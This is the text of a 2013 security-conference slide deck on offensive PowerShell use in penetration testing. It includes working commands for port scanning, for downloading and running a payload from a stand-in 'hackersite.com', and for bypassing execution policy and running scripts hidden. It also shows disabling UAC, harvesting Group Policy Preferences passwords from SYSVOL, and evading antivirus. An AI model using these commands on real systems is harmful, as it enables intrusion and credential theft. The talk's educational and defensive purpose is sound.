![Welcome to, PowerShell
• Unix bash like shell in Windows
– Way powerful than CMD
• Available from Vista upwards
– Can be disabled from Server 2008; however its not
that easy in Windows 7
• Allows to
– Manage registry, services, processes, event logs
and Windows Management Instrumentation (WMI)
– Task based scripting language
– Powerful object manipulation capabilities
– Simplified and consistent design
• Full integration with
– Existing Microsoft products like Exchange, AD, etc.
– Can be directly called from .NET framework
[Microsoft Technet] - http://technet.microsoft.com/en-gb/library/bb978526.aspx](https://image.slidesharecdn.com/poweronpowershell-owaspcambridgemarch2013-130306101036-phpapp02/85/Power-on-Powershell-7-320.jpg)
![Think like a hacker
• Technique #2
Pass the command
powershell –command dir
• Executes the specified commands (and any parameters) as though
they were typed at the PowerShell command prompt
[Powershell Help]](https://image.slidesharecdn.com/poweronpowershell-owaspcambridgemarch2013-130306101036-phpapp02/85/Power-on-Powershell-22-320.jpg)
![Think like a hacker
• Technique #3 (contd.)
– Write your script (.ps1) in one long line.
– All {}s should be on the same line and use ; to terminate
each command.
$command = Get-Content .script.ps1
$encodedcmd =
[convert]::ToBase64String([Text.Encod
ing]::Unicode.GetBytes($command))
Powershell.exe –EncodedCommand
$encodedcmd](https://image.slidesharecdn.com/poweronpowershell-owaspcambridgemarch2013-130306101036-phpapp02/85/Power-on-Powershell-25-320.jpg)
![Post Exploitation the
PowerShell way
Exploiting Windows 2008 Group Policy Preferences
• Group Policy preferences, new for the Windows Server 2008
operating system, include more than 20 new Group Policy
extensions that expand the range of configurable settings
within a Group Policy object (GPO) [http://technet.microsoft.com/en-
us/library/cc731892%28WS.10%29.aspx]
• Helps setting local admin password for workstations and
servers
– Adding new users on local machines, etc.
– Via Local User and Groups Extension](https://image.slidesharecdn.com/poweronpowershell-owaspcambridgemarch2013-130306101036-phpapp02/85/Power-on-Powershell-27-320.jpg)
![Post Exploitation the
PowerShell way
• Lets use PowerShell to extract these
passwords
– Connect to domain controller as normal user
$output = get-childitem
serversysvoldomainPolicies -
filter *.xml -recurse | Get-
Content;[regex]::match($output,'cpassw
ord="(?<pwd>.+?)"') | foreach
{$_.groups["pwd"].value}](https://image.slidesharecdn.com/poweronpowershell-owaspcambridgemarch2013-130306101036-phpapp02/85/Power-on-Powershell-32-320.jpg)
Power on, Powershell
- 1. Power on, PowerShell Using PowerShell to do the nasty Nikhil Sreekumar roo7break@gmail.com @roo7break www.roo7break.co.uk
- 2. The plug • Nikhil Sreekumar – Senior Penetration Tester @ 7Safe – Over three years as penetration tester • CREST ACE certified – Also deliver’s 7Safe’s courses • CSTP – Certified Security Testing Professional • CAST – Certified Application Security Tester (advanced) – Previous roles • Breach Forensic Investigator • IT Consultant – Loves Python; Mixed feelings for Ruby; Hates Perl
- 3. Intro • Normal penetration testing revolves a lot around network based attacks using – Attack frameworks (toolkits) • Social engineering toolkit • Metasploit • Core Impact – Exploit sources • Exploit-db.com • 1337day.com • Exploit -> Get a shell -> Exploit more -> Get domain admin -> Report -> Go out for a beer
- 4. But, what if • You have access to a system, but – No outbound connection* – You are in a restricted environment (e.g. Citrix) – Current user privileges are very restricted – Payloads/tools detected by Anti- Virus/HIDS * Open traffic is blocked
- 5. Time for a rethink • Cannot rely on any open source exploitation framework – AV vendors are WATCHING! – System/Network admins are getting smarter and cleverer – Organisations are investing in security • Maybe its time to think of an alternate solution. – Why not look into bending existing technology to do our bidding?
- 7. Welcome to, PowerShell • Unix bash like shell in Windows – Way powerful than CMD • Available from Vista upwards – Can be disabled from Server 2008; however its not that easy in Windows 7 • Allows to – Manage registry, services, processes, event logs and Windows Management Instrumentation (WMI) – Task based scripting language – Powerful object manipulation capabilities – Simplified and consistent design • Full integration with – Existing Microsoft products like Exchange, AD, etc. – Can be directly called from .NET framework [Microsoft Technet] - http://technet.microsoft.com/en-gb/library/bb978526.aspx
- 8. Show me the money
- 9. Scripting PowerShell • Use of CmdLets – Lightweight command; used in PowerShell environment. – Typically a .NET framework class – Invoked within the context of automation scripts provided at the command line. – Also invoked programmatically through Windows PowerShell APIs.
- 10. Scripting PowerShell • Basic CmdLets CmdLets PowerShell Alias CMD.exe *nix environment Get-Help man, help help man Get-Content cat, gc, type type cat Move-Item move, mv, mi move mv Copy-Item cp, copy, cpi copy cp Select-String NONE find, findstr grep Source: http://pen-testing.sans.org/blog/2012/04/27/presentation-powershell-for-pen-testers
- 11. Scripting PowerShell • Basic CmdLets (contd.) – Where-Object (alias ?) • Filter objects passed down via pipe (|) Get-Service | ? {$_.Status –eq “Running”} Get-Process | ? { $_.Modules -like "*(rsaenh.dll)*" -and $_.Modules -like "*(iphlpapi.dll)*" -and $_.Modules -like "*(WININET.dll)*" } – ForEach-Object (alias %) • Not to be confused with loop statement, ForEach • Action to be performed on each object passed down via pipe (|) Get-ChildItem | ForEach-Object {echo $_.Name} Same as dir :D – Get-Member (alias gm) • Provides you the list of all objects you can access to filter your query using ? And % Get-ChildItem | gm • For more info, refer: – http://www.powershellpro.com/powershell-tutorial-introduction/tutorial-powershell-cmdlet/ – http://technet.microsoft.com/en-us/scriptcenter/dd772285.aspx
- 12. How to script using PowerShell • Using the PowerShell shell – RUN powershell.exe to start • Echo commands into a file; Save as .ps1 – .ps1 files are automatically recognised as PowerShell scripts – Can be manipulated using the built-in PowerShell Integrated Scripting Environment (ISE) – IDE for PowerShell
- 13. Sample uses for PT • Port Scanning 1..1024 | ForEach-Object { echo ((new-object Net.Sockets.TcpClient) .Connect(“<TargetIP>",$_)) “Port $_ is open" } 2>$null Port 80 is open • You could modify the script above to send a string to remote host) for Egress checking
- 14. Sample uses for PT • Port Sweep – Scan the range for all IPs with port 8080 open 1..255 | ForEach-Object { echo ((New-Object Net.Sockets.TcpClient) .Connect("10.1.1.$_",8080)) "10.1.1.$_:8080 is open" } 2>$null 10.1.1.100:8080 is open
- 15. Sample uses for PT • Downloading stuff – Binaries (New-Object System.Net.WebClient).DownloadFile("http://h ackersite.com/pwnc.exe","c:pwnc.exe“) – Text file stdout to local file (New-Object System.Net.WebClient).DownloadString("http:/ /hackersite.com/malicious.ps1") | Out-File – Encoding ASCII securescript.ps1
- 16. Hold on tiger • Did you really think its going to be that easy?? – PowerShell isn’t going to let you run any script without having a say. • It tries to enforce “security” using something called Execution Policy. – Get-Execution Policy • Will give you current policy status
- 17. The Security • Execution Policies: – Restricted • Default policy • Only individual commands; no scripts – AllSigned • Allows scripts execution • Needs to be signed by trusted publisher • Prompts if ran using untrusted publishers – RemoteSigned • Allows scripts execution • Scripts downloaded from Internet should be signed by trusted publisher • Signing not required for local scripts
- 18. The Security (contd.) – Unrestricted • Allows unsigned script execution • Prompts warning before execution – Bypass • Nothing is blocked; no warnings or prompts • To be used when PowerShell is used within a larger app – Undefined • No specific policy is set to current scope – If nothing is specified, default policy is applied = Restricted. • For more information, RTFM
- 19. However
- 20. Before we move on • UAC (User Account Control) – Is a pain in the a** • Most of the attacks described may/may not interfere with UAC. • At this point in time, we cannot bypass UAC. Or can we? – Will take this up at a later stage. To check UAC level $(Get-ItemProperty -Path registry::HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionp oliciessystem -Name EnableLUA).EnableLUA If value is “1”, then UAC is ON. • To disable UAC Set-ItemProperty -Path HKLM:SoftwareMicrosoftWindowsCurrentVersionpoliciessystem -Name EnableLUA –Value However, we need local admin rights And, a system reboot for this to change to take effect
- 21. Think like a hacker • These policies can be bypassed • Technique #1 Change the default policy to RemoteSigned Set-ExecutionPolicy RemoteSigned –Scope CurrentUser – However we need admin privileges to do this – You don’t want to ‘accidently’ set the policy for all users
- 22. Think like a hacker • Technique #2 Pass the command powershell –command dir • Executes the specified commands (and any parameters) as though they were typed at the PowerShell command prompt [Powershell Help]
- 23. Think like a hacker • Technique #2 (contd.) Pass the command powershell –command “New-Object System.Net.WebClient).DownloadFil e("http://hackersite.com/pwnc.exe ","c:pwnc.exe“)” powershell –command “Invoke- Expression (gc .script.ps1)” • Need a one liner? gc .script.ps1 | iex
- 24. Think like a hacker • Technique #3 CreateCMD • Run a script without actually running a script – execute the script contents in the current shell context with all new functions that are in the script • Uses “-EncodedCommand” – Accepts Base64 version of the command • Checkout Dave Kennedy (ReL1K) and Josh Kelly (winfang) Defcon 18 talk – PowerShell.. OMFG • Impact – Policy does not matter – No need to disable execution policies – No registry interaction, no reboots, etc.
- 25. Think like a hacker • Technique #3 (contd.) – Write your script (.ps1) in one long line. – All {}s should be on the same line and use ; to terminate each command. $command = Get-Content .script.ps1 $encodedcmd = [convert]::ToBase64String([Text.Encod ing]::Unicode.GetBytes($command)) Powershell.exe –EncodedCommand $encodedcmd
- 26. Think like a hacker • Technique #4 • This technique will – try and bypass the execution policy – execute the script in the background • Can be used once you have a way into a system – E.g. shell powershell.exe -ExecutionPolicy Bypass - NoLogo -NonInteractive -NoProfile - WindowStyle Hidden -File <script_name> Source: http://obscuresecurity.blogspot.co.uk/2011/08/powershell-executionpolicy.html
- 27. Post Exploitation the PowerShell way Exploiting Windows 2008 Group Policy Preferences • Group Policy preferences, new for the Windows Server 2008 operating system, include more than 20 new Group Policy extensions that expand the range of configurable settings within a Group Policy object (GPO) [http://technet.microsoft.com/en- us/library/cc731892%28WS.10%29.aspx] • Helps setting local admin password for workstations and servers – Adding new users on local machines, etc. – Via Local User and Groups Extension
- 28. Post Exploitation the PowerShell way Exploiting Windows 2008 Group Policy Preferences (contd.) • Unknown to the general public (and many system admins) Windows was storing the encrypted admin passwords in an XML files accessible to normal users • Location: – serversysvoldomainPolicies{Hash}MACHINEPreferencesGrou psGroup.xml
- 29. Post Exploitation the PowerShell way Exploiting Windows 2008 Group Policy Preferences (contd.)
- 30. Post Exploitation the PowerShell way Exploiting Windows 2008 Group Policy Preferences (contd.) • Encryption – AES = Strong • It would take years to decrypt that password. Only if someone could help me.. • Why not ask Microsoft?
- 31. Post Exploitation the PowerShell way http://msdn.microsoft.com/en-us/library/cc422924.aspx
- 32. Post Exploitation the PowerShell way • Lets use PowerShell to extract these passwords – Connect to domain controller as normal user $output = get-childitem serversysvoldomainPolicies - filter *.xml -recurse | Get- Content;[regex]::match($output,'cpassw ord="(?<pwd>.+?)"') | foreach {$_.groups["pwd"].value}
- 33. Post Exploitation the PowerShell way • Are there any more locations? • Oh yeah! – ServicesServices.xml – ScheduledTasksScheduledTasks.xml – PrintersPrinters.xml – DrivesDrives.xml – DataSourcesDataSources.xml • Source: http://rewtdance.blogspot.co.uk/2012/06/exploi ting-windows-2008-group-policy.html
- 34. Would you like some exploitation with that, Sir? • Default tools/exploits/payloads are detectable – Customize them – Design your own exploits – Innovative encoding/encryption techniques – Use PowerShell to execute it for you • Examples – Hyperion runtime encrypter by Nullsecurity.net • Produces an AES encrypted executable that brute forces its own key in-memory • Can bypass most anti-virus solutions • http://nullsecurity.net/papers.html – Alphanum + ASCII encode + Base64 your executable (use metasploit to do this – msfvenom) • Then use PowerShell to decode it in-memory and execute it – Check out www.exploit-monday.com by Matthew Graeber for sample codes – Also check out the PowerShell code used in SET - http://svn.secmaniac.com/social_engineering_toolkit/src/powershell/ • Can bypass most anti-virus solutions • http://www.offensive-security.com/metasploit-unleashed/Msfvenom
- 35. More?? • Homework • Try out PowerShell based attacks using Social Engineering Toolkit (SET) • Recode Metasploit modules to be used within PowerShell scripts • Come up with innovative attacks using PowerShell. – Webcam, microphone, keyloggers, etc. • Naughty, naughty. • How about designing your own ransomware – Note: Use only on your system. DO NOT SEND TO ANYONE ELSE. I will not accept any responsibility for your actions. Your actions, your responsibility. I have warned you. – http://nakedsecurity.sophos.com/2013/03/05/russian-ransomware- windows-powershell/
- 36. Powered by PowerShell • Existing PowerShell based attack tools – Metasploit PowerShell modules – PowerSploit – Nishang – PowerSyringe • Recommended Reads and References – PowerShell for Pentesters • http://pen-testing.sans.org/blog/2012/04/27/presentation-powershell-for-pen-testers – PowerShell OMFG • https://www.trustedsec.com/august-2010/powershell_omfg/ – PowerShell Code Repository • http://poshcode.org/ – Windows PowerShell Cookbook • By Lee Holmes – Server 2008 Group Policy Preferences (GPP) – And how they get your domain 0wned • By Chris Gates (carnal0wnage) • http://www.slideshare.net/chrisgates/exploiting-group-policy-preferences
- 37. And to conclude • Sys admins/Network admins/Managers – Check out every new feature introduced by a vendor – Is it necessary for your org? No? Remove/Disable it. – Ensure AV is installed and updated on production environment. – Attend more security conferences to find out what new tech the hackers could use to attack your organisation. • Hacker/Pentesters – Check out every new feature introduced by a vendor – Look at how you can twist various features to do your bidding – Don’t rely on your attacks tools – Remember AV vendors are watching and catching up – Push yourself – come up with innovative tech – Communicate all new tech u find. Our community is very open. You could end up finding an even better way to attack.
- 38. • Twitter: @roo7break • Web: www.roo7break.co.uk • Email: roo7break@gmail.com